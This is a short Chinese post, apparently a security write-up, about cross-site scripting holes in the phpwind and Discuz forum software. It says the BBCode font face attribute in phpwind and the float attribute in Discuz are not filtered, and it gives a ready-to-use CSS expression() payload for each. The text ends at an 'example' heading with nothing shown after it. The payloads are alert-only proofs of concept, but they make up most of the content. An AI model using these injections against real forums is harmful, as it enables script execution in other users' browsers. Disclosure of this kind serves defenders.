phpwind和DZ论坛跨站

PW论坛的FONT FACE字体没过滤：

跨站代码：

以下是代码片段：
[font=expression(alert('XSS'))]xss[/font]

DZ论坛的float浮动属性没过滤：

跨站代码 ：

以下是代码片段：
[float=expression(alert('XSS'))]xss[/float]

实例：